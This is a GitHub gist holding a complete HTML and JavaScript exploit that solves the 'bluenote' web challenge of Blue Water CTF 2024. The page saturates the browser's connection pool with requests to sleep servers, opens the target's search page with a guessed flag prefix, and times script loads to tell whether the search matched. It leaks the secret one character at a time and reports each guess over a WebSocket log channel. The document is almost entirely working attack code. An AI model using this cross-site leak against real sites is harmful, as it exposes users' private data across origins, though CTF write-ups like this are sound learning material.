Skip to content

Instantly share code, notes, and snippets.

@strellic
Created August 18, 2025 01:52
Show Gist options
  • Save strellic/11398378859f469394d800159180df2a to your computer and use it in GitHub Desktop.
Save strellic/11398378859f469394d800159180df2a to your computer and use it in GitHub Desktop.
Blue Water CTF 2024 - web/bluenote solve
<!DOCTYPE html>
<html>
<head>
<link rel="icon" type="image/x-icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==">
</head>
<body>
<script>
const sleep = ms => new Promise(r => setTimeout(r, ms));
const params = new URLSearchParams(location.search);
const TARGET = params.get("t") || "http://localhost:1337";
const KNOWN = params.get("k") || "bwctf{";
const ALPHABET = "}_abcdefghijklmnopqrstuvwxyz".substring("}_abcdefghijklmnopqrstuvwxyz".indexOf(location.hash.slice(1)));
const SOCKET_LIMIT = 256;
const WINDOW_COUNT = 1;
const SCRIPT_TIMEOUT = 1000;
const REBLOCK_DELAY = 1;
const THRESHOLD = 1;
const log = (data) => {
document.title = data;
console.log(data);
if (window.ws && window.ws.readyState === WebSocket.OPEN) window.ws.send(data);
};
const nextSleepServer = (() => {
let count = 0;
return () => {
let next = count++;
return `//aaaaa{next}.sleep.server/wait/${next}`;
}
})();
const blockers = [];
const block = async (controller, opts = {}) => {
const next = nextSleepServer();
try {
await fetch(next, { mode: "no-cors", signal: controller.signal });
}
catch {}
};
const reblock = (opts = {}) => {
const controller = new AbortController();
blockers.push(controller);
try { blockers.shift()?.abort() } catch {}
if (opts.delay) {
setTimeout(() => block(controller, opts), opts.delayFor ?? REBLOCK_DELAY);
} else {
block(controller, opts);
}
};
const unblock = () => {
for (const controller of blockers) {
try { controller.abort() } catch {};
}
blockers.length = 0;
};
const check = async () => {
let script;
const result = await new Promise((resolve) => {
script = document.createElement("script");
script.onerror = () => {
resolve(true);
};
script.src = "//wtmoo?" + Math.random();
script.defer = true; // mmight not be necessary idk
document.head.appendChild(script);
setTimeout(() => resolve(false), SCRIPT_TIMEOUT);
reblock({ delay: true });
});
script.remove();
return result;
};
const oracle = async (query) => {
for (let i = 0; i < SOCKET_LIMIT; i++) {
const controller = new AbortController();
blockers.push(controller);
block(controller);
}
const windows = [];
await sleep(1500);
for (let i = 0; i < WINDOW_COUNT; i++)
windows.push(window.open(`${TARGET}/search?query=${encodeURIComponent(query)}&${Math.random()}`));
await sleep(1500);
reblock();
await sleep(250);
let count = 0;
while (!(await check()) && count < 16) {
count++;
}
windows.map(w => w?.close());
unblock();
if (count == 16) {
return -1;
}
return count;
};
window.onload = () => {
if (params.has("debug")) return;
window.ws = new WebSocket(location.origin.replace("http://", "ws://").replace("https://", "wss://") + "/log");
window.ws.onopen = async () => {
log(`connected!\n\tknown ${KNOWN}\n\talphabet ${ALPHABET}\n\tthreshold ${THRESHOLD}\n\ttarget ${TARGET}`);
for (const c of ALPHABET) {
const count = await oracle(KNOWN + c);
log(`${KNOWN + c}: ${count}`);
if (count >= THRESHOLD && count != -1) {
const count2 = await oracle(KNOWN + c); // double check
if (count2 >= THRESHOLD && count2 !== -1) {
log(`found: ${KNOWN + c} (${count2})`);
break;
}
else {
log(`false positive: ${KNOWN + c}? (${count2} < ${THRESHOLD})`);
}
}
}
};
};
</script>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment